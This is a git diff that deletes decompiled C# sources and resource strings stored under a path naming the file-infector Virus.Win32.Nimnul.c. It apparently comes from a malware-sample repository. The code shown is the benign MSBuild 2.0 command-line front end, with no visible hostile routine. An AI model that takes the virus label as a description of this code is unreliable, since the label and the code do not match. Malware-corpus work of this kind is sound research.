Microsoft.Build.Shared; -using System; - -namespace Microsoft.Build.CommandLine -{ - internal sealed class InitializationException : Exception - { - private string invalidSwitch; - - private InitializationException() - { - } - - private InitializationException(string message) - : base(message) - { - } - - private InitializationException(string message, string invalidSwitch) - : this(message) - { - this.invalidSwitch = invalidSwitch; - } - - public override string Message - { - get - { - if (this.invalidSwitch == null) - return base.Message; - return base.Message + Environment.NewLine + ResourceUtilities.FormatResourceString("InvalidSwitchIndicator", (object) this.invalidSwitch); - } - } - - internal static void VerifyThrow(bool condition, string messageResourceName) => InitializationException.VerifyThrow(condition, messageResourceName, (string) null); - - internal static void VerifyThrow( - bool condition, - string messageResourceName, - string invalidSwitch) - { - if (condition) - return; - InitializationException.Throw(messageResourceName, invalidSwitch, (Exception) null, false); - } - - internal static void Throw( - string messageResourceName, - string invalidSwitch, - Exception e, - bool showStackTrace) - { - string unformatted = AssemblyResources.GetString(messageResourceName); - ErrorUtilities.VerifyThrow(unformatted != null, "The resource string must exist."); - string message; - if (showStackTrace) - message = unformatted + Environment.NewLine + e.ToString(); - else - message = ResourceUtilities.FormatString(unformatted, e == null ? (object) string.Empty : (object) e.Message); - InitializationException.Throw(message, invalidSwitch); - } - - internal static void Throw(string message, string invalidSwitch) - { - ErrorUtilities.VerifyThrow(message != null, "The string must exist."); - throw new InitializationException(message, invalidSwitch); - } - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/MSBuildApp.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/MSBuildApp.cs deleted file mode 100644 index 5a345ab8..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/CommandLine/MSBuildApp.cs +++ /dev/null @@ -1,633 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Build.CommandLine.MSBuildApp -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -using Microsoft.Build.BuildEngine; -using Microsoft.Build.Framework; -using Microsoft.Build.Shared; -using System; -using System.Collections; -using System.Globalization; -using System.IO; -using System.Reflection; -using System.Security; -using System.Text; -using System.Threading; - -namespace Microsoft.Build.CommandLine -{ - public static class MSBuildApp - { - private const string autoResponseFileName = "MSBuild.rsp"; - private static readonly string binPath = Path.GetDirectoryName(new Uri(Assembly.GetExecutingAssembly().EscapedCodeBase).LocalPath); - private static ArrayList includedResponseFiles; - internal static bool usingSwitchesFromAutoResponseFile = false; - private static readonly char[] propertyValueSeparator = new char[1] - { - '=' - }; - private static readonly TypeFilter loggerClassFilter = new TypeFilter(MSBuildApp.IsLoggerClass); - - [STAThread] - public static int Main() => MSBuildApp.Execute(Environment.CommandLine) != MSBuildApp.ExitType.Success ? 1 : 0; - - public static MSBuildApp.ExitType Execute(string commandLine) - { - ErrorUtilities.VerifyThrowArgumentLength(commandLine, nameof (commandLine)); - MSBuildApp.ExitType exitType = MSBuildApp.ExitType.Success; - try - { - MSBuildApp.VerifyThrowSupportedOS(); - MSBuildApp.SetConsoleUI(); - MSBuildApp.ResetBuildState(); - string projectFile = (string) null; - string[] targets = new string[0]; - BuildPropertyGroup propertyBag = (BuildPropertyGroup) null; - ILogger[] loggers = new ILogger[0]; - bool needToValidateProject = false; - string schemaFile = (string) null; - if (MSBuildApp.ProcessCommandLineSwitches(MSBuildApp.GatherAllSwitches(commandLine), ref projectFile, ref targets, ref propertyBag, ref loggers, ref needToValidateProject, ref schemaFile)) - { - if (!MSBuildApp.BuildProject(projectFile, targets, propertyBag, loggers, needToValidateProject, schemaFile)) - exitType = MSBuildApp.ExitType.BuildError; - } - } - catch (CommandLineSwitchException ex) - { - Console.WriteLine(ex.Message); - Console.WriteLine(); - MSBuildApp.ShowHelpPrompt(); - exitType = MSBuildApp.ExitType.SwitchError; - } - catch (InitializationException ex) - { - Console.WriteLine(ex.Message); - exitType = MSBuildApp.ExitType.InitializationError; - } - catch (LoggerException ex) - { - if (ex.ErrorCode != null) - Console.WriteLine(ResourceUtilities.FormatResourceString("LoggerFailurePrefixNoErrorCode", (object) ex.ErrorCode, (object) ex.Message)); - else - Console.WriteLine(ResourceUtilities.FormatResourceString("LoggerFailurePrefixWithErrorCode", (object) ex.Message)); - if (ex.InnerException != null) - Console.WriteLine(ex.InnerException.Message); - exitType = MSBuildApp.ExitType.LoggerAbort; - } - catch (InternalLoggerException ex) - { - Console.WriteLine("MSBUILD : error " + ex.ErrorCode + ": " + ex.Message); - Console.WriteLine(ex.InnerException.ToString()); - exitType = MSBuildApp.ExitType.LoggerFailure; - } - catch - { - Console.WriteLine(AssemblyResources.GetString("FatalError")); - throw; - } - return exitType; - } - - private static void ResetBuildState() - { - MSBuildApp.includedResponseFiles = new ArrayList(); - MSBuildApp.usingSwitchesFromAutoResponseFile = false; - } - - private static bool BuildProject( - string projectFile, - string[] targets, - BuildPropertyGroup propertyBag, - ILogger[] loggers, - bool needToValidateProject, - string schemaFile) - { - bool flag = false; - Engine engine = new Engine(MSBuildApp.binPath); - engine.GlobalProperties = propertyBag; - try - { - foreach (ILogger logger in loggers) - engine.RegisterLogger(logger); - Project newProject = engine.CreateNewProject(); - newProject.IsValidated = needToValidateProject; - newProject.SchemaFile = schemaFile; - newProject.Load(projectFile); - flag = engine.BuildProject(newProject, targets); - } - catch (InvalidProjectFileException ex) - { - } - finally - { - engine.UnregisterAllLoggers(); - } - return flag; - } - - private static void VerifyThrowSupportedOS() - { - if (Environment.OSVersion.Platform != PlatformID.Win32S && Environment.OSVersion.Platform != PlatformID.Win32Windows && Environment.OSVersion.Platform != PlatformID.WinCE && (Environment.OSVersion.Platform != PlatformID.Win32NT || Environment.OSVersion.Version.Major > 4)) - return; - InitializationException.VerifyThrow(false, "UnsupportedOS"); - } - - internal static void SetConsoleUI() - { - Thread currentThread = Thread.CurrentThread; - currentThread.CurrentUICulture = CultureInfo.CurrentUICulture.GetConsoleFallbackUICulture(); - int codePage = Console.OutputEncoding.CodePage; - if (codePage == 65001 || codePage == currentThread.CurrentUICulture.TextInfo.OEMCodePage || codePage == currentThread.CurrentUICulture.TextInfo.ANSICodePage) - return; - currentThread.CurrentUICulture = new CultureInfo("en-US"); - } - - private static CommandLineSwitches GatherAllSwitches(string commandLine) - { - ArrayList commandLineArgs = QuotingUtilities.SplitUnquoted(commandLine); - commandLineArgs.RemoveAt(0); - CommandLineSwitches commandLineSwitches = new CommandLineSwitches(); - MSBuildApp.GatherCommandLineSwitches(commandLineArgs, commandLineSwitches); - return MSBuildApp.GatherAutoResponseFileSwitches(commandLineSwitches); - } - - private static void GatherCommandLineSwitches( - ArrayList commandLineArgs, - CommandLineSwitches commandLineSwitches) - { - foreach (string commandLineArg in commandLineArgs) - { - int doubleQuotesRemoved; - string str = QuotingUtilities.Unquote(commandLineArg, out doubleQuotesRemoved); - if (str.Length > 0) - { - if (str.StartsWith("@", StringComparison.Ordinal)) - { - MSBuildApp.GatherResponseFileSwitch(str, commandLineSwitches); - } - else - { - string switchName; - string switchParameters; - if (!str.StartsWith("-", StringComparison.Ordinal) && !str.StartsWith("/", StringComparison.Ordinal)) - { - switchName = (string) null; - switchParameters = ":" + commandLineArg; - } - else - { - int switchParameterIndicator = str.IndexOf(':'); - if (switchParameterIndicator == -1) - { - switchName = str.Substring(1); - switchParameters = string.Empty; - } - else - { - switchName = str.Substring(1, switchParameterIndicator - 1); - switchParameters = MSBuildApp.ExtractSwitchParameters(commandLineArg, str, doubleQuotesRemoved, switchName, switchParameterIndicator); - } - } - CommandLineSwitches.ParameterlessSwitch parameterlessSwitch; - string duplicateSwitchErrorMessage; - if (CommandLineSwitches.IsParameterlessSwitch(switchName, out parameterlessSwitch, out duplicateSwitchErrorMessage)) - { - MSBuildApp.GatherParameterlessCommandLineSwitch(commandLineSwitches, parameterlessSwitch, switchParameters, duplicateSwitchErrorMessage, str); - } - else - { - CommandLineSwitches.ParameterizedSwitch parameterizedSwitch; - bool multipleParametersAllowed; - string missingParametersErrorMessage; - bool unquoteParameters; - if (CommandLineSwitches.IsParameterizedSwitch(switchName, out parameterizedSwitch, out duplicateSwitchErrorMessage, out multipleParametersAllowed, out missingParametersErrorMessage, out unquoteParameters)) - MSBuildApp.GatherParameterizedCommandLineSwitch(commandLineSwitches, parameterizedSwitch, switchParameters, duplicateSwitchErrorMessage, multipleParametersAllowed, missingParametersErrorMessage, unquoteParameters, str); - else - commandLineSwitches.SetUnknownSwitchError(str); - } - } - } - } - } - - internal static string ExtractSwitchParameters( - string commandLineArg, - string unquotedCommandLineArg, - int doubleQuotesRemovedFromArg, - string switchName, - int switchParameterIndicator) - { - int num1 = commandLineArg.IndexOf(':'); - int doubleQuotesRemoved; - string str = QuotingUtilities.Unquote(commandLineArg.Substring(0, num1), out doubleQuotesRemoved); - ErrorUtilities.VerifyThrow(switchName == str.Substring(1), "The switch name extracted from either the partially or completely unquoted arg should be the same."); - ErrorUtilities.VerifyThrow(doubleQuotesRemovedFromArg >= doubleQuotesRemoved, "The name portion of the switch cannot contain more quoting than the arg itself."); - string switchParameters; - if (doubleQuotesRemoved % 2 == 0) - { - switchParameters = commandLineArg.Substring(num1); - } - else - { - int num2 = commandLineArg.IndexOf('"', num1 + 1); - switchParameters = doubleQuotesRemovedFromArg - doubleQuotesRemoved > 1 || num2 != -1 && num2 != commandLineArg.Length - 1 ? ":\"" + commandLineArg.Substring(num1 + 1) : unquotedCommandLineArg.Substring(switchParameterIndicator); - } - ErrorUtilities.VerifyThrow(switchParameters != null, "We must be able to extract the switch parameters."); - return switchParameters; - } - - private static void GatherResponseFileSwitch( - string unquotedCommandLineArg, - CommandLineSwitches commandLineSwitches) - { - try - { - string path = unquotedCommandLineArg.Substring(1); - if (path.Length == 0) - commandLineSwitches.SetSwitchError("MissingResponseFileError", unquotedCommandLineArg); - else if (!File.Exists(path)) - { - commandLineSwitches.SetParameterError("ResponseFileNotFoundError", unquotedCommandLineArg); - } - else - { - string fullPath = Path.GetFullPath(path); - bool flag = false; - foreach (string includedResponseFile in MSBuildApp.includedResponseFiles) - { - if (string.Compare(fullPath, includedResponseFile, StringComparison.OrdinalIgnoreCase) == 0) - { - commandLineSwitches.SetParameterError("RepeatedResponseFileError", unquotedCommandLineArg); - flag = true; - break; - } - } - if (flag) - return; - MSBuildApp.includedResponseFiles.Add((object) fullPath); - ArrayList commandLineArgs; - using (StreamReader streamReader = new StreamReader(fullPath, Encoding.Default)) - { - commandLineArgs = new ArrayList(); - while (streamReader.Peek() != -1) - { - string name = streamReader.ReadLine().TrimStart(); - if (!name.StartsWith("#", StringComparison.Ordinal)) - commandLineArgs.AddRange((ICollection) QuotingUtilities.SplitUnquoted(Environment.ExpandEnvironmentVariables(name))); - } - } - MSBuildApp.GatherCommandLineSwitches(commandLineArgs, commandLineSwitches); - } - } - catch (NotSupportedException ex) - { - commandLineSwitches.SetParameterError("ReadResponseFileError", unquotedCommandLineArg, (Exception) ex); - } - catch (SecurityException ex) - { - commandLineSwitches.SetParameterError("ReadResponseFileError", unquotedCommandLineArg, (Exception) ex); - } - catch (UnauthorizedAccessException ex) - { - commandLineSwitches.SetParameterError("ReadResponseFileError", unquotedCommandLineArg, (Exception) ex); - } - catch (IOException ex) - { - commandLineSwitches.SetParameterError("ReadResponseFileError", unquotedCommandLineArg, (Exception) ex); - } - } - - private static void GatherParameterlessCommandLineSwitch( - CommandLineSwitches commandLineSwitches, - CommandLineSwitches.ParameterlessSwitch parameterlessSwitch, - string switchParameters, - string duplicateSwitchErrorMessage, - string unquotedCommandLineArg) - { - if (switchParameters.Length == 0) - { - if (!commandLineSwitches.IsParameterlessSwitchSet(parameterlessSwitch) || duplicateSwitchErrorMessage == null) - commandLineSwitches.SetParameterlessSwitch(parameterlessSwitch, unquotedCommandLineArg); - else - commandLineSwitches.SetSwitchError(duplicateSwitchErrorMessage, unquotedCommandLineArg); - } - else - commandLineSwitches.SetUnexpectedParametersError(unquotedCommandLineArg); - } - - private static void GatherParameterizedCommandLineSwitch( - CommandLineSwitches commandLineSwitches, - CommandLineSwitches.ParameterizedSwitch parameterizedSwitch, - string switchParameters, - string duplicateSwitchErrorMessage, - bool multipleParametersAllowed, - string missingParametersErrorMessage, - bool unquoteParameters, - string unquotedCommandLineArg) - { - if (switchParameters.Length > 1 || missingParametersErrorMessage == null) - { - if (!commandLineSwitches.IsParameterizedSwitchSet(parameterizedSwitch) || duplicateSwitchErrorMessage == null) - { - if (switchParameters.Length > 0) - switchParameters = switchParameters.Substring(1); - if (commandLineSwitches.SetParameterizedSwitch(parameterizedSwitch, unquotedCommandLineArg, switchParameters, multipleParametersAllowed, unquoteParameters) || missingParametersErrorMessage == null) - return; - commandLineSwitches.SetSwitchError(missingParametersErrorMessage, unquotedCommandLineArg); - } - else - commandLineSwitches.SetSwitchError(duplicateSwitchErrorMessage, unquotedCommandLineArg); - } - else - commandLineSwitches.SetSwitchError(missingParametersErrorMessage, unquotedCommandLineArg); - } - - private static CommandLineSwitches GatherAutoResponseFileSwitches( - CommandLineSwitches commandLineSwitches) - { - CommandLineSwitches commandLineSwitches1 = commandLineSwitches; - if (!commandLineSwitches[CommandLineSwitches.ParameterlessSwitch.NoAutoResponse]) - { - string path = Path.Combine(MSBuildApp.binPath, "MSBuild.rsp"); - if (File.Exists(path)) - { - commandLineSwitches1 = new CommandLineSwitches(); - MSBuildApp.GatherResponseFileSwitch("@" + path, commandLineSwitches1); - if (commandLineSwitches1[CommandLineSwitches.ParameterlessSwitch.NoAutoResponse]) - commandLineSwitches1.SetSwitchError("CannotAutoDisableAutoResponseFile", commandLineSwitches1.GetParameterlessSwitchCommandLineArg(CommandLineSwitches.ParameterlessSwitch.NoAutoResponse)); - if (commandLineSwitches1.HaveAnySwitchesBeenSet()) - MSBuildApp.usingSwitchesFromAutoResponseFile = true; - commandLineSwitches1.Append(commandLineSwitches); - } - } - return commandLineSwitches1; - } - - private static bool ProcessCommandLineSwitches( - CommandLineSwitches commandLineSwitches, - ref string projectFile, - ref string[] targets, - ref BuildPropertyGroup propertyBag, - ref ILogger[] loggers, - ref bool needToValidateProject, - ref string schemaFile) - { - bool flag = false; - if (!commandLineSwitches[CommandLineSwitches.ParameterlessSwitch.NoLogo]) - MSBuildApp.DisplayCopyrightMessage(); - if (commandLineSwitches[CommandLineSwitches.ParameterlessSwitch.Help]) - { - MSBuildApp.ShowHelpMessage(); - } - else - { - commandLineSwitches.ThrowErrors(); - if (commandLineSwitches[CommandLineSwitches.ParameterlessSwitch.Version]) - { - MSBuildApp.ShowVersion(); - } - else - { - projectFile = MSBuildApp.ProcessProjectSwitch(commandLineSwitches[CommandLineSwitches.ParameterizedSwitch.Project]); - targets = MSBuildApp.ProcessTargetSwitch(commandLineSwitches[CommandLineSwitches.ParameterizedSwitch.Target]); - propertyBag = MSBuildApp.ProcessPropertySwitch(commandLineSwitches[CommandLineSwitches.ParameterizedSwitch.Property]); - LoggerVerbosity verbosity; - loggers = MSBuildApp.ProcessLoggingSwitches(commandLineSwitches[CommandLineSwitches.ParameterizedSwitch.Logger], commandLineSwitches[CommandLineSwitches.ParameterizedSwitch.Verbosity], commandLineSwitches[CommandLineSwitches.ParameterlessSwitch.NoConsoleLogger], commandLineSwitches[CommandLineSwitches.ParameterizedSwitch.ConsoleLoggerParameters], out verbosity); - if (MSBuildApp.usingSwitchesFromAutoResponseFile && LoggerVerbosity.Diagnostic == verbosity) - Console.WriteLine(ResourceUtilities.FormatResourceString("PickedUpSwitchesFromAutoResponse", (object) "MSBuild.rsp")); - needToValidateProject = commandLineSwitches.IsParameterizedSwitchSet(CommandLineSwitches.ParameterizedSwitch.Validate); - schemaFile = MSBuildApp.ProcessValidateSwitch(commandLineSwitches[CommandLineSwitches.ParameterizedSwitch.Validate]); - flag = true; - } - } - ErrorUtilities.VerifyThrow(!flag || projectFile != null, "We should have a project file if we're going to build."); - return flag; - } - - private static string ProcessProjectSwitch(string[] parameters) - { - ErrorUtilities.VerifyThrow(parameters.Length <= 1, "It should not be possible to specify more than 1 project at a time."); - string str; - if (parameters.Length == 0) - { - string[] files1 = Directory.GetFiles(".", "*.*proj"); - string[] files2 = Directory.GetFiles(".", "*.sln"); - if (files1.Length == 1 && files2.Length == 1) - InitializationException.VerifyThrow(string.Compare(Path.GetFileNameWithoutExtension(files2[0]), Path.GetFileNameWithoutExtension(files1[0]), StringComparison.OrdinalIgnoreCase) == 0, "AmbiguousProjectError"); - else if (files2.Length > 1 || files1.Length > 1) - InitializationException.VerifyThrow(false, "AmbiguousProjectError"); - else if (files1.Length == 0 && files2.Length == 0) - InitializationException.VerifyThrow(false, "MissingProjectError"); - str = files2.Length == 1 ? files2[0] : files1[0]; - } - else - { - InitializationException.VerifyThrow(File.Exists(parameters[0]), "ProjectNotFoundError", parameters[0]); - str = parameters[0]; - } - return str; - } - - private static string[] ProcessTargetSwitch(string[] parameters) => parameters; - - internal static BuildPropertyGroup ProcessPropertySwitch(string[] parameters) - { - BuildPropertyGroup buildPropertyGroup = new BuildPropertyGroup(); - foreach (string parameter in parameters) - { - string[] strArray = parameter.Split(MSBuildApp.propertyValueSeparator, 2); - CommandLineSwitchException.VerifyThrow(strArray[0].Length > 0 && strArray.Length == 2, "InvalidPropertyError", parameter); - try - { - buildPropertyGroup.SetProperty(strArray[0], strArray[1]); - } - catch (ArgumentException ex) - { - InitializationException.Throw("InvalidPropertyError", parameter, (Exception) ex, false); - } - catch (InvalidOperationException ex) - { - InitializationException.Throw(ex.Message, parameter); - } - } - return buildPropertyGroup; - } - - private static ILogger[] ProcessLoggingSwitches( - string[] loggerSwitchParameters, - string[] verbositySwitchParameters, - bool noConsoleLogger, - string[] consoleLoggerParameters, - out LoggerVerbosity verbosity) - { - verbosity = MSBuildApp.ProcessVerbositySwitch(verbositySwitchParameters); - ArrayList arrayList = MSBuildApp.ProcessLoggerSwitch(loggerSwitchParameters, verbosity); - if (!noConsoleLogger) - { - ConsoleLogger consoleLogger = new ConsoleLogger(verbosity); - if (consoleLoggerParameters != null && consoleLoggerParameters.Length > 0) - consoleLogger.Parameters = consoleLoggerParameters[consoleLoggerParameters.Length - 1]; - arrayList.Add((object) consoleLogger); - } - return (ILogger[]) arrayList.ToArray(typeof (ILogger)); - } - - private static LoggerVerbosity ProcessVerbositySwitch(string[] parameters) - { - LoggerVerbosity loggerVerbosity = LoggerVerbosity.Normal; - if (parameters.Length > 0) - { - try - { - loggerVerbosity = (LoggerVerbosity) Enum.Parse(typeof (LoggerVerbosity), parameters[parameters.Length - 1], true); - } - catch (ArgumentException ex) - { - if (string.Compare(parameters[parameters.Length - 1], "q", StringComparison.OrdinalIgnoreCase) == 0) - loggerVerbosity = LoggerVerbosity.Quiet; - else if (string.Compare(parameters[parameters.Length - 1], "m", StringComparison.OrdinalIgnoreCase) == 0) - loggerVerbosity = LoggerVerbosity.Minimal; - else if (string.Compare(parameters[parameters.Length - 1], "n", StringComparison.OrdinalIgnoreCase) == 0) - loggerVerbosity = LoggerVerbosity.Normal; - else if (string.Compare(parameters[parameters.Length - 1], "d", StringComparison.OrdinalIgnoreCase) == 0) - loggerVerbosity = LoggerVerbosity.Detailed; - else if (string.Compare(parameters[parameters.Length - 1], "diag", StringComparison.OrdinalIgnoreCase) == 0) - loggerVerbosity = LoggerVerbosity.Diagnostic; - else - CommandLineSwitchException.Throw("InvalidVerbosityError", parameters[parameters.Length - 1]); - } - } - return loggerVerbosity; - } - - private static ArrayList ProcessLoggerSwitch( - string[] parameters, - LoggerVerbosity verbosity) - { - ArrayList arrayList1 = new ArrayList(); - foreach (string parameter in parameters) - { - string str = QuotingUtilities.Unquote(parameter); - int emptySplits; - ArrayList arrayList2 = QuotingUtilities.SplitUnquoted(parameter, 2, true, false, out emptySplits, ';'); - ErrorUtilities.VerifyThrow(arrayList2.Count >= 1 && arrayList2.Count <= 2, "SplitUnquoted() must return at least one string, and no more than two."); - CommandLineSwitchException.VerifyThrow(((string) arrayList2[0]).Length > 0, "InvalidLoggerError", str); - ArrayList arrayList3 = QuotingUtilities.SplitUnquoted((string) arrayList2[0], 2, true, false, out emptySplits, ','); - ErrorUtilities.VerifyThrow(arrayList3.Count >= 1 && arrayList3.Count <= 2, "SplitUnquoted() must return at least one string, and no more than two."); - string loggerClassName; - string path; - if (arrayList3.Count == 2) - { - loggerClassName = QuotingUtilities.Unquote((string) arrayList3[0]); - path = QuotingUtilities.Unquote((string) arrayList3[1]); - } - else - { - loggerClassName = string.Empty; - path = QuotingUtilities.Unquote((string) arrayList3[0]); - } - CommandLineSwitchException.VerifyThrow(path.Length > 0, "InvalidLoggerError", str); - string assemblyName = (string) null; - string assemblyFile = (string) null; - if (File.Exists(path)) - assemblyFile = path; - else - assemblyName = path; - AssemblyLoadInfo loggerAssembly = new AssemblyLoadInfo(assemblyName, assemblyFile); - ILogger logger = MSBuildApp.CreateLogger(loggerClassName, loggerAssembly, str); - try - { - logger.Verbosity = verbosity; - if (arrayList2.Count == 2) - logger.Parameters = QuotingUtilities.Unquote((string) arrayList2[1]); - } - catch (LoggerException ex) - { - throw; - } - catch (Exception ex) - { - InitializationException.Throw("LoggerFatalError", str, ex, true); - } - arrayList1.Add((object) logger); - } - return arrayList1; - } - - private static ILogger CreateLogger( - string loggerClassName, - AssemblyLoadInfo loggerAssembly, - string loggerSwitchParameters) - { - ILogger logger = (ILogger) null; - try - { - LoadedType loadedType = new TypeLoader(MSBuildApp.loggerClassFilter).Load(loggerClassName, loggerAssembly); - InitializationException.VerifyThrow(loadedType != null, "LoggerNotFoundError", loggerSwitchParameters); - logger = (ILogger) Activator.CreateInstance(loadedType.Type); - } - catch (IOException ex) - { - InitializationException.Throw("LoggerCreationError", loggerSwitchParameters, (Exception) ex, false); - } - catch (BadImageFormatException ex) - { - InitializationException.Throw("LoggerCreationError", loggerSwitchParameters, (Exception) ex, false); - } - catch (SecurityException ex) - { - InitializationException.Throw("LoggerCreationError", loggerSwitchParameters, (Exception) ex, false); - } - catch (ReflectionTypeLoadException ex) - { - InitializationException.Throw("LoggerCreationError", loggerSwitchParameters, (Exception) ex, false); - } - catch (TargetInvocationException ex) - { - Exception innerException = ex.InnerException; - if (innerException is LoggerException) - throw innerException; - InitializationException.Throw("LoggerFatalError", loggerSwitchParameters, innerException, true); - } - catch (MemberAccessException ex) - { - InitializationException.Throw("LoggerCreationError", loggerSwitchParameters, (Exception) ex, false); - } - return logger; - } - - private static bool IsLoggerClass(Type type, object unused) => type.IsClass && !type.IsAbstract && (object) type.GetInterface("ILogger") != null; - - private static string ProcessValidateSwitch(string[] parameters) - { - string str = (string) null; - foreach (string parameter in parameters) - { - InitializationException.VerifyThrow(str == null, "MultipleSchemasError", parameter); - InitializationException.VerifyThrow(File.Exists(parameter), "SchemaNotFoundError", parameter); - str = Path.Combine(Directory.GetCurrentDirectory(), parameter); - } - return str; - } - - private static void DisplayCopyrightMessage() => Console.WriteLine(ResourceUtilities.FormatResourceString("CopyrightMessage", (object) Engine.Version.ToString(), (object) Environment.Version.ToString())); - - private static void ShowHelpMessage() => Console.WriteLine(AssemblyResources.GetString("HelpMessage")); - - private static void ShowHelpPrompt() => Console.WriteLine(AssemblyResources.GetString("HelpPrompt")); - - private static void ShowVersion() => Console.Write(Engine.Version.ToString()); - - public enum ExitType - { - Success, - SwitchError, - InitializationError, - BuildError, - LoggerAbort, - LoggerFailure, - } - } -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/FXAssembly.cs b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/FXAssembly.cs deleted file mode 100644 index 382370e5..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/FXAssembly.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: FXAssembly -// Assembly: MSBuild, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a -// MVID: E42BAB90-704E-4C03-B5C0-D4E3A6B884E3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43.exe - -internal static class FXAssembly -{ - internal const string Version = "2.0.0.0"; -} diff --git a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/MSBuild/Strings.resx b/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/MSBuild/Strings.resx deleted file mode 100644 index c796829a..00000000 --- a/MSIL/Virus/Win32/N/Virus.Win32.Nimnul.c-d5c6463b93131b3c485115414cf5809e01323986e3d4274a4868222cbb54aa43/MSBuild/Strings.resx +++ /dev/null @@ -1,302 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - MSBUILD : error MSB1001: Unknown switch. - - - MSBUILD : error MSB1003: Specify a project or solution file. The current working directory does not contain a project or solution file. - - - Microsoft (R) Build Engine Version {0} -[Microsoft .NET Framework, Version {1}] -Copyright (C) Microsoft Corporation 2005. All rights reserved. - - - - MSBUILD : error MSB1025: An internal failure occurred while running MSBuild. - - - MSBUILD : error MSB1028: The logger failed unexpectedly. - - - Syntax: MSBuild.exe [options] [project file] - -Description: Builds the specified targets in the project file. If - a project file is not specified, MSBuild searches the - current working directory for a file that has a file - extension that ends in "proj" and uses that file. - -Switches: - - /help Display this usage message. (Short form: /? or /h) - - /nologo Do not display the startup banner and copyright message. - - /version Display version information only. (Short form: /ver) - - @<file> Insert command-line settings from a text file. To specify - multiple response files, specify each response file - separately. - - /noautoresponse Do not auto-include the MSBuild.rsp file. (Short form: - /noautorsp) - - /target:<targets> Build these targets in this project. Use a semicolon or a - comma to separate multiple targets, or specify each - target separately. (Short form: /t) - Example: - /target:Resources;Compile - - /property:<n>=<v> Set or override these project-level properties. <n> is - the property name, and <v> is the property value. Use a - semicolon or a comma to separate multiple properties, or - specify each property separately. (Short form: /p) - Example: - /property:WarningLevel=2;OutDir=bin\Debug\ - - /logger:<logger> Use this logger to log events from MSBuild. To specify - multiple loggers, specify each logger separately. - The <logger> syntax is: - [<logger class>,]<logger assembly>[;<logger parameters>] - The <logger class> syntax is: - [<partial or full namespace>.]<logger class name> - The <logger assembly> syntax is: - {<assembly name>[,<strong name>] | <assembly file>} - The <logger parameters> are optional, and are passed - to the logger exactly as you typed them. (Short form: /l) - Examples: - /logger:XMLLogger,MyLogger,Version=1.0.2,Culture=neutral - /logger:XMLLogger,C:\Loggers\MyLogger.dll;OutputAsHTML - - /verbosity:<level> Display this amount of information in the event log. - The available verbosity levels are: q[uiet], m[inimal], - n[ormal], d[etailed], and diag[nostic]. (Short form: /v) - Example: - /verbosity:quiet - - /consoleloggerparameters:<parameters> - Parameters to console logger. (Short form: /clp) - The available parameters are: - PerformanceSummary--show time spent in tasks, targets - and projects. - NoSummary--don't show error and warning summary at the - end. - NoItemAndPropertyList--don't show list of items and - properties at the start of each project build. - Example: - /consoleloggerparameters:PerformanceSummary;NoSummary - - /noconsolelogger Disable the default console logger and do not log events - to the console. (Short form: /noconlog) - - /validate Validate the project against the default schema. (Short - form: /val) - - /validate:<schema> Validate the project against the specified schema. (Short - form: /val) - Example: - /validate:MyExtendedBuildSchema.xsd - -Examples: - - MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release - MSBuild MyApp.csproj /t:Clean /p:Configuration=Debug - - - - MSBUILD : error MSB1009: Project file does not exist. - - - MSBUILD : error MSB1022: Response file does not exist. - - - MSBUILD : error MSB1021: Cannot create an instance of the logger. {0} - - - MSBUILD : error MSB1027: The /noautoresponse switch cannot be specified in the MSBuild.rsp auto-response file, nor in any response file that is referenced by the auto-response file. - - - MSBUILD : error MSB1013: The response file was specified twice. A response file can be specified only once. - - - Some command line switches were read from the auto-response file "{0}". To disable this file, use the "/noautoresponse" switch. - - - - MSBUILD : error MSB1002: This switch does not take any parameters. - - - MSBUILD : error MSB1024: Only one schema can be specified for validation of the project. - - - MSBUILD : error MSB1018: Verbosity level is not valid. - - - MSBUILD : error MSB1016: Specify the verbosity level. - - - MSBUILD : error MSB1005: Specify a property and its value. - - - MSBUILD : error MSB1006: Property is not valid. - - - MSBUILD : error MSB1015: MSBuild does not run on this version of the operating system. It is only supported on Windows 2000, Windows XP, and later versions. - - - MSBUILD : error MSB1020: The logger was not found. Check the following: 1.) The logger name specified is the same as the name of the logger class. 2.) The logger class is "public" and implements the Microsoft.Build.Framework.ILogger interface. 3.) The path to the logger assembly is correct, or the logger can be loaded using only the assembly name provided. - - - MSBUILD : error 